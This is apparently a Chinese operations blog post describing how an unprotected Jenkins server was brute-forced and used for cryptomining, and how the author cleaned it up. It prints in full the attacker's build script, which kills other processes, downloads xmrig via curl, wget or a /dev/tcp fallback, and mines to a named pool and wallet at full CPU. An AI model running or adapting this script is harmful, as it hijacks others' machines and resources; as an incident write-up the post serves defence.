线上服务器突然崩了！？Jenkins 服务器中挖坑病毒解决方案运维贤牛聊运维的博客-

作者：一盏烛光，贤牛特邀工程师。
防伪码：三十功名尘与土，八千里路云和月。

公元 2020/04/16 4:38 分，登录线上服务器，执行 top 命令执行，发现已经崩了…

我们的 Jenkins 数据是从广州研发部 copy 过来的，包括 job 和 plugins 目录，和广州确定了，下图三个项目和他们无关。

查看控制台构建输出日志，发现直接把 CPU 搞崩了

然后看这个莫名其妙的未知项目，发现里面有脚本配置：

#!/bin/bash if [[ $(whoami) != "root" ]]; then     for tr in $(ps -U $(whoami) | egrep -v "java|ps|sh|egrep|grep|PID" | cut -b1-6); do         kill -9 $tr || : ;     done; fi threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1); hostHash=$(hostname -f | md5sum | cut -c1-8); echo "${hostHash} - ${threadCount}"; _curl () {   read proto server path <<<$(echo ${1//// })   DOC=/${path// //}   HOST=${server//:*}   PORT=${server//*:}   [[ x"${HOST}" == x"${PORT}" ]] && PORT=80   exec 3<>/dev/tcp/${HOST}/$PORT   echo -en "GET ${DOC} HTTP/1.0rnHost: ${HOST}rnrn" >&3   (while read line; do    [[ "$line" == $'r' ]] && break   done && cat) <&3   exec 3>&- } rm -rf config.json; d () {  curl -L --insecure --connect-timeout 5 --max-time 40 --fail $1 -o $2 2> /dev/null || wget --no-check-certificate --timeout 40 --tries 1 $1 -O $2 2> /dev/null || _curl $1 > $2; }  test ! -s trace &&      d https://github.com/xmrig/xmrig/releases/download/v5.5.2/xmrig-5.5.2-xenial-x64.tar.gz trace.tgz &&      tar -zxvf trace.tgz &&      mv xmrig-5.5.2/xmrig trace &&      rm -rf xmrig-5.5.2 &&      rm -rf trace.tgz; test ! -x trace && chmod +x trace; k() {     ./trace          -r 2          -R 2          --keepalive          --no-color          --donate-level 1          --max-cpu-usage 100          --cpu-priority 3          --print-time 25          --threads ${threadCount:-4}          --url $1          --user 49RaGEt31SBcxHgJXcZ6HP9b3rrCSRoAYYVuRdjQVhpsUjh2gh9R6xMKshXL9oBQ7JPjF6A21PuxbbDhbjAuTuKT3s7ioo9          --pass x          --keepalive } k pool.minexmr.com:4444 

此时只需要禁用该 Workspace，并关闭已启动的进程即可，服务器就此恢复正常。

此时，发现 Jenkins 服务因为物理内存不足启动报错了：

凌晨在不影响用户的情况下重启了实例，Jenkins 和 nacos 服务都正常：

后端：

前端：

网上看了很多前辈的经验，回头总结一下发现，整个安全事件的根本原因在于 Jenkins 的没有设置密码验证机制，密码输入错误后可以马上无间断的再次输入，且没有输入次数限制，该安全隐患在安装 Jenkins 之处的时候就已经发现了。

但是当时没有处理，因此给 hacker 暴力破解提供了可能性，剩下的就简单多了，hacker 暴力破解后，创建了一个 workspace，并编写 build脚 本，并在服务器上安装挖矿程序，然后推出。

索性是夜间出了问题，我及时发现，然后立即去 Jenkins 开启安全设置。

检查 crontab 任务是否有异常，发现并无异常。